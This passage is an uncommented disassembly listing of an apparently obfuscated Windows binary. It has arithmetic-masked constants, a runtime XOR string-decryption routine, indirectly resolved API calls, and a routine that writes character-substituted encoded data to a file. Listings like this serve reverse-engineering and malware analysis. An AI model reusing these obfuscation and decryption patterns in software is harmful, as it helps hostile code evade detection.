0AB1CABF9h, 0AB2DAB34h, 0AB5FAB2Bh, 0AB44AB4Ch, 0AB6CAB7Dh dd 0A4A0A497h, 0A4CDA4DFh, 0A4E6A4C4h, 0A40CA41Dh, 0A402A404h dd 0A42FA435h, 0A457A427h, 0A54AA556h, 0A572A57Eh, 0A69AA566h dd 0A682A68Eh, 0A6AAA6B6h, 9C9CA6DEh, 9C8D1C9Ch, 9C9C9CDCh dd 0AE5CAC9Ch, 0AE54AE58h, 0AE4CAE50h, 0AE44AE48h, 0AE78AE7Ch dd 0AE70AE74h, 0AE68AE6Ch, 0AE60AE64h, 0AF94AF98h, 0AF8CAF90h dd 0AF84AF88h, 0AFBCAF80h, 0A8B4A8B8h, 0A8ACA8B0h, 9C8D3C9Ch dd 9C9C9CBCh, 0AD04AD08h, 0AD30AD00h, 0AD28AD2Ch, 0AD20AD24h dd 0AD58AD5Ch, 9C9CAD54h, 7 dup(9C9C9C9Ch), 0D45D03EFh dd 9C9C9C9Ch, 9C8D4CB4h, 3 dup(9C9C9C9Dh), 9C8D4CA8h, 9C8D4CA4h dd 9C8D4CA0h, 0EAEDF7F7h, 0F8B2C3E4h, 9C9CF0F0h, 9C9CF85Bh dd 9C8D4CDCh, 9C9C9C9Ch, 0FEF5D0C3h, 0F2F5FDD1h, 9C9CACDCh dd 6Dh dup(9C9C9C9Ch), 39D639CAh, 39EE39E2h, 3A0639FAh dd 3A1E3A12h, 3A363A2Ah, 3A42h, 118000h, 40h, 32C03000h dd 32C832C4h, 32D032CCh, 32D832D4h, 32E432E0h, 32EC32E8h dd 32F432F0h, 32FC32F8h, 33083304h, 3310330Ch, 33183314h dd 3320331Ch, 34283424h, 3430342Ch, 11A000h, 20h, 31983194h dd 31AC319Ch, 31B431B0h, 31BC31B8h, 31C431C0h, 31C8h, 7 dup(0) dd 48C19F73h, 0 dd 11D028h, 3 dup(1), 11D034h, 11D038h, 11D03Ch, 76716B6Bh dd 642E5F78h, 6C6Ch, 64C7h, 11D040h, 0 dd 62694C5Fh, 6E69614Dh, 3040h, 3846h dup(0) _data ends ; --------------------------------------------------------------------------- ; Section 4. (virtual address 0003A000) ; Virtual size : 00116178 (1139064.) ; Section size in file : 00116178 (1139064.) ; Offset to raw data for section: 0003A000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 43A000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43A006: ; DATA XREF: sub_43A026+Ao xor eax, eax inc eax mov ecx, [esp+4] test dword ptr [ecx+4], 6 jz short locret_43A025 mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_43A025: ; CODE XREF: .text:0043A014j retn ; =============== S U B R O U T I N E ======================================= sub_43A026 proc near ; CODE XREF: .text:0043A14Ep ; .text:0043A17Cp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset loc_43A006 push large dword ptr fs:0 mov large fs:0, esp loc_43A043: ; CODE XREF: sub_43A026+44j ; sub_43A026+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43A072 cmp esi, [esp+1Ch+arg_4] jz short loc_43A072 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43A043 call dword ptr [ebx+esi*4+8] jmp short loc_43A043 ; --------------------------------------------------------------------------- loc_43A072: ; CODE XREF: sub_43A026+2Aj ; sub_43A026+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43A026 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A080 proc near ; CODE XREF: .text:0043A141p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_43A098 push [ebp+arg_0] call sub_4479E0 loc_43A098: ; DATA XREF: sub_43A080+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43A080 endp ; --------------------------------------------------------------------------- cld push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz loc_43A175 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43A0D3: ; CODE XREF: .text:0043A16Cj cmp esi, 0FFFFFFFFh jz loc_43A184 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43A163 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov dword_551034, eax mov edx, [ebp-14h] mov eax, [edx] mov dword_551038, eax mov eax, [edx+4] mov dword_55103C, eax push esi push edi push ecx mov ecx, 14h lea edi, dword_551040 mov esi, dword_551038 rep movsd lea edi, dword_551040 mov dword_551038, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43A163 js short loc_43A171 mov edi, [ebx+8] push ebx call sub_43A080 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43A026 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43A163: ; CODE XREF: .text:0043A0E4j ; .text:0043A139j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43A0D3 ; --------------------------------------------------------------------------- loc_43A171: ; CODE XREF: .text:0043A13Bj xor eax, eax jmp short loc_43A18E ; --------------------------------------------------------------------------- loc_43A175: ; CODE XREF: .text:0043A0B8j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43A026 add esp, 0Ch loc_43A184: ; CODE XREF: .text:0043A0D6j push 0Bh call sub_447A28 add esp, 4 loc_43A18E: ; CODE XREF: .text:0043A173j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi cmp dword ptr [ebp+0Ch], 1 jnz short loc_43A1A7 call sub_43A1C3 loc_43A1A7: ; CODE XREF: .text:0043A1A0j call sub_44796B push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] mov eax, off_551000 call eax ; sub_447940 pop edi pop esi pop ebx leave retn 0Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A1C3 proc near ; CODE XREF: .text:0043A1A2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push edi push 0 push 0FFFFFFF6h call sub_4479F8 mov [ebp+var_8], eax push 0 push 0FFFFFFF5h call sub_4479F8 mov [ebp+var_4], eax push 0 push 0FFFFFFF4h call sub_4479F8 mov [ebp+var_C], eax push (offset aWr+2) push [ebp+var_8] call sub_4479EC mov dword_551008, eax push offset aWr ; "wr" push [ebp+var_4] call sub_4479EC mov dword_551004, eax push offset aWr ; "wr" push [ebp+var_C] call sub_4479EC add esp, 30h mov dword_55100C, eax mov edi, dword_551004 or edi, edi jz short loc_43A23C push 0 push edi call sub_447A34 add esp, 8 loc_43A23C: ; CODE XREF: sub_43A1C3+6Cj mov edi, dword_55100C or edi, edi jz short loc_43A256 push 0 push edi call sub_447A34 add esp, 8 call sub_43A25C loc_43A256: ; CODE XREF: sub_43A1C3+81j pop edi leave retn sub_43A1C3 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A25C proc near ; CODE XREF: sub_43A1C3+8Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_C], 0 call sub_4479D4 mov ebx, eax mov [ebp+var_10], ebx jmp short loc_43A294 ; --------------------------------------------------------------------------- loc_43A278: ; CODE XREF: sub_43A25C+3Bj cmp byte ptr [ebx], 3Dh jz short loc_43A280 inc [ebp+var_C] loc_43A280: ; CODE XREF: sub_43A25C+1Fj mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi lea ebx, [ebx+edi] loc_43A294: ; CODE XREF: sub_43A25C+1Aj cmp byte ptr [ebx], 0 jnz short loc_43A278 mov edi, [ebp+var_C] inc edi lea edi, ds:0[edi*4] mov [ebp+var_14], edi push [ebp+var_14] call sub_447A1C pop ecx mov [ebp+var_8], eax mov dword_551010, eax cmp [ebp+var_8], 0 jnz short loc_43A2C2 xor eax, eax jmp short loc_43A31F ; --------------------------------------------------------------------------- loc_43A2C2: ; CODE XREF: sub_43A25C+60j mov ebx, [ebp+var_10] jmp short loc_43A30C ; --------------------------------------------------------------------------- loc_43A2C7: ; CODE XREF: sub_43A25C+B3j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi mov [ebp+var_4], edi cmp byte ptr [ebx], 3Dh jz short loc_43A306 push [ebp+var_4] call sub_447A1C pop ecx mov esi, [ebp+var_8] mov [esi], eax or eax, eax jnz short loc_43A2F4 jmp short loc_43A31F ; --------------------------------------------------------------------------- loc_43A2F4: ; CODE XREF: sub_43A25C+94j push ebx mov edi, [ebp+var_8] push dword ptr [edi] call sub_447A40 add esp, 8 add [ebp+var_8], 4 loc_43A306: ; CODE XREF: sub_43A25C+82j mov edx, [ebp+var_4] lea ebx, [ebx+edx] loc_43A30C: ; CODE XREF: sub_43A25C+69j cmp byte ptr [ebx], 0 jnz short loc_43A2C7 mov edx, [ebp+var_8] mov dword ptr [edx], 0 mov eax, 1 loc_43A31F: ; CODE XREF: sub_43A25C+64j ; sub_43A25C+96j pop edi pop esi pop ebx leave retn sub_43A25C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A324 proc near ; CODE XREF: sub_43E491+3D2p var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = word ptr -38h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi movsx eax, word_5511C8 movsx edx, word_55120C add eax, edx sub eax, 7 mov [ebp+var_4], eax jmp short loc_43A36E ; --------------------------------------------------------------------------- loc_43A345: ; CODE XREF: sub_43A324+5Ej mov eax, 30h mul [ebp+var_4] mov [ebp+var_20], eax mov eax, dword_551248 movsx edx, word_551110 add eax, edx sub eax, 5 mov edx, [ebp+var_20] mov ds:dword_4CC650[edx], eax inc [ebp+var_4] loc_43A36E: ; CODE XREF: sub_43A324+1Fj mov eax, dword_55114C add eax, 5Dh movsx edx, word_551144 add eax, edx cmp [ebp+var_4], eax jb short loc_43A345 movsx eax, word_55120C add eax, dword_55110C sub eax, 9 push eax call ds:dword_44B084 push offset dword_551300 push offset dword_552A94 push 7 mov eax, dword_551118 sub eax, 9 push eax push offset dword_5529D4 call ds:dword_44B5D4 mov ebx, eax mov eax, dword_551270 sub eax, 5 cmp ebx, eax jnz loc_43A575 lea eax, [ebp+var_C] push eax mov eax, dword_551300 push eax mov edi, [eax] call dword ptr [edi+1Ch] mov ebx, eax mov eax, dword_5511B0 add eax, dword_5511D8 sub eax, 0Eh cmp ebx, eax jnz short loc_43A3FD mov eax, dword_55124C sub eax, 5 cmp [ebp+var_C], eax jnz short loc_43A402 loc_43A3FD: ; CODE XREF: sub_43A324+CAj jmp loc_43A506 ; --------------------------------------------------------------------------- loc_43A402: ; CODE XREF: sub_43A324+D7j movsx eax, word_551120 sub eax, 3 mov [ebp+var_8], eax jmp loc_43A4FA ; --------------------------------------------------------------------------- loc_43A414: ; CODE XREF: sub_43A324+1DCj mov eax, [ebp+var_8] mov [ebp+var_30], eax mov [ebp+var_38], 3 lea eax, [ebp+var_3C] push eax lea esi, [ebp+var_38] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, dword_551300 push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax mov eax, dword_551218 movsx edx, word_551214 add eax, edx sub eax, 4 cmp eax, ebx jnz loc_43A4F7 lea eax, [ebp+var_40] push eax push offset dword_552AA4 mov eax, [ebp+var_3C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_5510F0 sub eax, 3 cmp eax, ebx jnz short loc_43A4EE lea eax, off_5512FC mov [ebp+var_24], eax push eax mov esi, [eax] call dword ptr [esi+4] lea eax, [ebp+var_44] push eax push offset dword_5529F4 mov eax, [ebp+var_24] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_551200 add eax, dword_5511F0 sub eax, 0Ch cmp eax, ebx jnz short loc_43A4DC lea eax, [ebp+var_48] push eax push offset dword_5529F4 push [ebp+var_44] push [ebp+var_40] call sub_43C468 add esp, 10h mov [ebp+var_4C], eax mov eax, [ebp+var_44] push eax mov esi, [eax] call dword ptr [esi+8] loc_43A4DC: ; CODE XREF: sub_43A324+193j mov eax, [ebp+var_24] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_40] push eax mov esi, [eax] call dword ptr [esi+8] loc_43A4EE: ; CODE XREF: sub_43A324+15Aj mov eax, [ebp+var_3C] push eax mov esi, [eax] call dword ptr [esi+8] loc_43A4F7: ; CODE XREF: sub_43A324+130j inc [ebp+var_8] loc_43A4FA: ; CODE XREF: sub_43A324+EBj mov eax, [ebp+var_C] cmp [ebp+var_8], eax jb loc_43A414 loc_43A506: ; CODE XREF: sub_43A324:loc_43A3FDj lea eax, off_551320 mov [ebp+var_10], eax push eax mov esi, [eax] call dword ptr [esi+4] lea eax, [ebp+var_14] push eax push offset dword_5529E4 mov eax, [ebp+var_10] push eax mov esi, [eax] call dword ptr ds:0[esi] mov eax, [ebp+var_10] push eax mov esi, [eax] call dword ptr [esi+8] lea eax, [ebp+var_1C] push eax push offset dword_5529E4 push [ebp+var_14] push dword_551300 call sub_43C468 add esp, 10h mov [ebp+var_18], eax mov ecx, dword_5510FC sub ecx, 2 cmp eax, ecx jnz short loc_43A575 mov eax, dword_551300 push eax mov esi, [eax] call dword ptr [esi+8] movsx eax, word_55111C mov dword_551300, eax loc_43A575: ; CODE XREF: sub_43A324+A3j ; sub_43A324+238j pop edi pop esi pop ebx leave retn sub_43A324 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A57A proc near ; DATA XREF: .data:005512E8o push ebp mov ebp, esp mov eax, dword_551100 cmp ds:dword_55003C, eax jbe short loc_43A595 push offset dword_55003C call ds:dword_448014 loc_43A595: ; CODE XREF: sub_43A57A+Ej mov eax, ds:dword_55003C pop ebp retn 4 sub_43A57A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A59E proc near ; CODE XREF: sub_44718F+B2p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi mov ebx, [ebp+arg_0] movsx eax, word_55115C sub eax, 3 mov [ebp+var_44], eax mov eax, dword_551250 mov edi, eax add edi, dword_5511E8 sub edi, 9 jmp short loc_43A5D7 ; --------------------------------------------------------------------------- loc_43A5C9: ; CODE XREF: sub_43A59E+49j mov edx, edi shl edx, 1 mov cx, [ebx+edi*2] mov [ebp+edx+var_40], cx inc edi loc_43A5D7: ; CODE XREF: sub_43A59E+29j mov eax, dword_5510D0 add eax, 15h add eax, dword_551154 cmp edi, eax jb short loc_43A5C9 lea eax, dword_54EB80 mov [ebp+var_48], eax loc_43A5F2: ; CODE XREF: sub_43A59E+6Fj inc [ebp+var_44] mov eax, [ebp+var_48] movzx eax, word ptr [eax] cmp [ebp+var_44], eax jnb short loc_43A60F push ebx lea eax, [ebp+var_40] push eax call sub_43F2CB add esp, 8 jmp short loc_43A5F2 ; --------------------------------------------------------------------------- loc_43A60F: ; CODE XREF: sub_43A59E+60j movsx esi, word_55112C sub esi, 5 jmp short loc_43A62C ; --------------------------------------------------------------------------- loc_43A61B: ; CODE XREF: sub_43A59E+A1j mov edx, esi shl edx, 1 mov ecx, [ebp+arg_4] mov dx, [ebp+edx+var_40] mov [ecx+esi*2], dx inc esi loc_43A62C: ; CODE XREF: sub_43A59E+7Bj mov eax, dword_5511E0 add eax, 17h movsx edx, word_5510E4 add eax, edx cmp esi, eax jb short loc_43A61B pop edi pop esi pop ebx leave retn sub_43A59E endp ; =============== S U B R O U T I N E ======================================= sub_43A646 proc near ; CODE XREF: sub_441AE5+96p push ebx push esi mov esi, dword_551200 add esi, dword_55116C mov ebx, dword_55114C add ebx, 0CC244076h movsx edx, word_5511AC add ebx, edx mov ds:dword_54EB9C[esi*4], ebx mov esi, dword_551190 movsx ebx, word_551274 mov edx, dword_551124 lea ebx, [ebx+edx-7965178Bh] mov ds:dword_54EBB0[esi*4], ebx mov esi, dword_5510BC mov ebx, dword_5510B4 add ebx, 3D357C63h movsx edx, word_551234 add ebx, edx mov ds:dword_54EBE0[esi*4], ebx mov esi, dword_5511D4 movsx ebx, word_5511A8 add esi, ebx mov ebx, dword_551128 add ebx, 1B77E1DAh mov ds:dword_54EBB0[esi*4], ebx movsx esi, word_551214 mov ebx, dword_551138 add ebx, 505215ADh mov ds:dword_54EBCC[esi*4], ebx movsx esi, word_55111C mov ebx, dword_551100 lea esi, [esi+ebx+0Eh] mov ebx, dword_5510C4 add ebx, 14F8050Fh mov ds:dword_54EBC0[esi*4], ebx mov esi, dword_5510C4 mov ebx, dword_5510FC add ebx, 6E0637BDh movsx edx, word_55120C add ebx, edx mov ds:dword_54EBD8[esi*4], ebx movsx esi, word_5511BC movsx ebx, word_55111C lea esi, [esi+ebx+6] movsx ebx, word_5511C8 add ebx, 1E4E873Dh mov ds:dword_54EBC0[esi*4], ebx movsx esi, word_55112C mov ebx, esi add ebx, 0E383CCDAh mov ds:dword_54EBDC[esi*4], ebx mov esi, dword_551098 add esi, dword_5511F8 mov ebx, dword_5511E0 add ebx, 0D24B644Dh add ebx, dword_55118C mov ds:dword_54EBB8[esi*4], ebx mov eax, dword_551258 mov ecx, eax add ecx, dword_5510B4 sub ecx, 4 jmp short loc_43A7C2 ; --------------------------------------------------------------------------- loc_43A7A8: ; CODE XREF: sub_43A646+18Aj mov esi, dword_5510C0 movsx ebx, word_551194 add esi, ebx sub esi, 8 mov ds:dword_54EB80[ecx*4], esi inc ecx loc_43A7C2: ; CODE XREF: sub_43A646+160j mov eax, dword_5510B8 add eax, dword_5511E0 dec eax cmp ecx, eax jb short loc_43A7A8 mov ecx, dword_551250 mov esi, dword_55116C add esi, 3 add esi, dword_5511E4 mov ds:dword_54EB78[ecx*4], esi mov ecx, dword_55110C add ecx, dword_551160 movsx esi, word_551234 add esi, 0D76ADDDEh mov ds:dword_54EB98[ecx*4], esi movsx ecx, word_551120 mov esi, ecx add esi, dword_551174 mov ebx, dword_551198 lea ecx, [ecx+ebx-400281DAh] mov ds:dword_54EBB4[esi*4], ecx mov ecx, dword_551250 mov esi, dword_551178 add esi, 0E1F7EEA2h add esi, dword_551100 mov ds:dword_54EBB8[ecx*4], esi movsx ecx, word_551254 mov esi, dword_551114 add esi, 280E85D3h mov ds:dword_54EBC4[ecx*4], esi mov ecx, dword_551134 add ecx, dword_551128 movsx esi, word_5511BC add esi, 323D4732h mov ds:dword_54EBB8[ecx*4], esi movsx ecx, word_5510EC movsx esi, word_5510D8 add esi, 1AB051F0h mov ds:dword_54EBE8[ecx*4], esi pop esi pop ebx retn sub_43A646 endp ; =============== S U B R O U T I N E ======================================= sub_43A8A8 proc near ; DATA XREF: .data:00551314o mov eax, 80004001h retn 10h sub_43A8A8 endp ; --------------------------------------------------------------------------- loc_43A8B0: ; DATA XREF: sub_445D32+7o mov eax, dword_551128 sub eax, 6 push eax call ds:dword_54EA60 retn ; =============== S U B R O U T I N E ======================================= sub_43A8C0 proc near ; CODE XREF: sub_43E491+20p push edi push offset word_5529C2 call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_551288, eax movsx eax, word_5510CC movsx edx, word_5511C4 add eax, edx sub eax, 0Ch cmp dword_551288, eax jnz short loc_43A90A push offset asc_5529B5 ; "\t" call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_551288, eax loc_43A90A: ; CODE XREF: sub_43A8C0+31j push offset asc_5529A6 ; "\v" call sub_43AC94 pop ecx push eax push dword_551288 call ds:dword_44B1AC mov ds:dword_4CC320, eax pop edi retn sub_43A8C0 endp ; =============== S U B R O U T I N E ======================================= sub_43A929 proc near ; CODE XREF: sub_43F2CB+DDp ; sub_43F2CB+137p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [esp+8+arg_4] movsx eax, word_551170 mov ecx, eax add ecx, 1Fh movsx eax, word_551268 sub eax, 2 sub ecx, eax jmp short loc_43A96B ; --------------------------------------------------------------------------- loc_43A94D: ; CODE XREF: sub_43A929+54j mov dx, [ebx+ecx*2] cmp dx, [esi+ecx*2] jnb short loc_43A95B xor eax, eax jmp short loc_43A982 ; --------------------------------------------------------------------------- loc_43A95B: ; CODE XREF: sub_43A929+2Cj mov dx, [ebx+ecx*2] cmp dx, [esi+ecx*2] jbe short loc_43A96A xor eax, eax inc eax jmp short loc_43A982 ; --------------------------------------------------------------------------- loc_43A96A: ; CODE XREF: sub_43A929+3Aj dec ecx loc_43A96B: ; CODE XREF: sub_43A929+22j movsx eax, word_5510CC add eax, dword_5510A4 sub eax, 0Eh cmp ecx, eax jge short loc_43A94D xor eax, eax inc eax loc_43A982: ; CODE XREF: sub_43A929+30j ; sub_43A929+3Fj pop esi pop ebx retn sub_43A929 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A985 proc near ; DATA XREF: sub_441AE5+49o ; sub_441AE5+FAo ... var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi push 493E0h push 40h call ds:dword_48B9EC mov [ebp+var_4], eax push 61A80h push 40h call ds:dword_48B9EC mov ebx, eax mov eax, [ebp+arg_0] add eax, 2 push eax push [ebp+var_4] call sub_44799C mov eax, [ebp+var_4] mov ecx, eax or eax, 0FFFFFFFFh loc_43A9C7: ; CODE XREF: sub_43A985+47j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43A9C7 mov [ebp+var_8], eax mov edi, dword_5511E4 sub edi, 5 jmp short loc_43AA17 ; --------------------------------------------------------------------------- loc_43A9DC: ; CODE XREF: sub_43A985+95j mov eax, edi add eax, [ebp+var_4] mov [ebp+var_118], eax movzx edx, byte ptr [eax] mov [ebp+var_120], edx mov eax, edi mov [ebp+var_11C], eax mul edi mov [ebp+var_124], eax mov eax, [ebp+var_120] mov edx, [ebp+var_124] add eax, edx mov edx, [ebp+var_118] mov [edx], al inc edi loc_43AA17: ; CODE XREF: sub_43A985+55j cmp edi, [ebp+var_8] jb short loc_43A9DC mov eax, dword_551184 add eax, 61A78h push eax push ebx push [ebp+var_8] push [ebp+var_4] call sub_4421CF add esp, 10h mov eax, dword_551154 mov esi, eax add esi, dword_551150 sub esi, 0Bh jmp short loc_43AA5D ; --------------------------------------------------------------------------- loc_43AA48: ; CODE XREF: sub_43A985+E6j cmp byte ptr [ebx+esi], 2Bh jnz short loc_43AA52 mov byte ptr [ebx+esi], 28h loc_43AA52: ; CODE XREF: sub_43A985+C7j cmp byte ptr [ebx+esi], 3Dh jnz short loc_43AA5C mov byte ptr [ebx+esi], 29h loc_43AA5C: ; CODE XREF: sub_43A985+D1j inc esi loc_43AA5D: ; CODE XREF: sub_43A985+C1j mov ecx, ebx or eax, 0FFFFFFFFh loc_43AA62: ; CODE XREF: sub_43A985+E2j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43AA62 cmp esi, eax jb short loc_43AA48 mov eax, dword_551118 sub eax, 9 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 50h jnz short loc_43AAB1 push offset dword_4CD930 lea eax, [ebp+var_114] push eax call sub_44799C mov eax, dword_5510C8 add eax, 1 push eax push ebx lea eax, [ebp+var_114] push eax call sub_442677 add esp, 0Ch cmp eax, 0 jnz loc_43AC67 loc_43AAB1: ; CODE XREF: sub_43A985+F7j mov eax, dword_5510E0 add eax, dword_5510E8 sub eax, 8 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 44h jnz short loc_43AAD9 push offset dword_4CC540 lea eax, [ebp+var_114] push eax call sub_44799C loc_43AAD9: ; CODE XREF: sub_43A985+141j mov eax, dword_551114 add eax, dword_5511B0 sub eax, 9 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 4Bh jnz short loc_43AB01 push offset dword_44B0A0 lea eax, [ebp+var_114] push eax call sub_44799C loc_43AB01: ; CODE XREF: sub_43A985+169j mov eax, dword_5511B0 sub eax, 7 push eax movsx eax, word_5511C4 sub eax, 7 push eax push 4 movsx eax, word_5510D8 movsx edx, word_551188 mov ecx, eax add ecx, edx mov edx, ecx sub edx, 0Eh push edx sub eax, 9 push eax push 40000000h lea eax, [ebp+var_114] push eax call ds:dword_54FC18 mov [ebp+var_C], eax push 2 mov eax, dword_551230 sub eax, 5 push eax movsx eax, word_5510F0 sub eax, 3 push eax push [ebp+var_C] call ds:dword_550030 push offset word_55299E call sub_43AC94 pop ecx mov edx, dword_551098 sub edx, 2 push edx lea edx, [ebp+var_10] push edx mov edx, dword_5511E8 movsx ecx, word_551168 add edx, ecx sub edx, 7 push edx push eax push [ebp+var_C] call ds:dword_55001C mov eax, dword_55119C sub eax, 7 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 4Bh jnz short loc_43ABE5 push offset byte_552999 call sub_43AC94 pop ecx movsx edx, word_55115C sub edx, 3 push edx lea edx, [ebp+var_10] push edx mov edx, dword_55109C movsx ecx, word_5510E4 add edx, ecx sub edx, 6 push edx push eax push [ebp+var_C] call ds:dword_55001C loc_43ABE5: ; CODE XREF: sub_43A985+227j mov eax, dword_5511E0 sub eax, 9 mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 50h jnz short loc_43AC21 push offset dword_552994 call sub_43AC94 pop ecx movsx edx, word_551110 dec edx push edx lea edx, [ebp+var_10] push edx movsx edx, word_551224 dec edx push edx push eax push [ebp+var_C] call ds:dword_55001C loc_43AC21: ; CODE XREF: sub_43A985+26Fj mov ecx, ebx or eax, 0FFFFFFFFh loc_43AC26: ; CODE XREF: sub_43A985+2A6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43AC26 mov edx, eax movsx ecx, word_551120 movsx eax, word_55115C add ecx, eax sub ecx, 6 push ecx lea ecx, [ebp+var_10] push ecx movsx ecx, word_55123C sub ecx, 2 add ecx, edx push ecx push ebx push [ebp+var_C] call ds:dword_55001C push [ebp+var_C] call ds:dword_4CDA48 loc_43AC67: ; CODE XREF: sub_43A985+126j push [ebp+var_4] call ds:dword_44B5CC push ebx call ds:dword_44B5CC pop edi pop esi pop ebx leave retn sub_43A985 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AC7C proc near ; CODE XREF: sub_441EAC+53p ; sub_441EAC+68p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_551284 call ds:dword_44B1AC mov edi, eax pop edi pop ebp retn sub_43AC7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AC94 proc near ; CODE XREF: sub_43A8C0+6p ; sub_43A8C0+38p ... var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] cmp dword_551278, 0 jnz short loc_43ACBC push offset dword_550160 call ds:dword_449FCC mov dword_551278, 1 loc_43ACBC: ; CODE XREF: sub_43AC94+11j mov esi, dword_5510C4 add esi, dword_5511F0 sub esi, 0Fh movzx ebx, byte ptr [edi] movzx edx, byte ptr [edi+1] movzx edx, dx shl edx, 8 or ebx, edx movzx ebx, bx add esi, ebx mov [ebp+var_4], si movzx eax, [ebp+var_4] mov edx, dword_5511F8 sub edx, 4 cmp eax, edx jz loc_43AD83 push offset dword_550160 call ds:dword_54EA5C movsx eax, word_551188 sub eax, 2 mov [ebp+var_2], ax jmp short loc_43AD28 ; --------------------------------------------------------------------------- loc_43AD13: ; CODE XREF: sub_43AC94+9Ej movzx eax, [ebp+var_2] add eax, edi movsx edx, byte ptr [eax] movsx ecx, byte ptr [edi+2] xor edx, ecx mov [eax], dl inc [ebp+var_2] loc_43AD28: ; CODE XREF: sub_43AC94+7Dj movzx eax, [ebp+var_2] movzx edx, [ebp+var_4] cmp eax, edx jl short loc_43AD13 movsx eax, word_551120 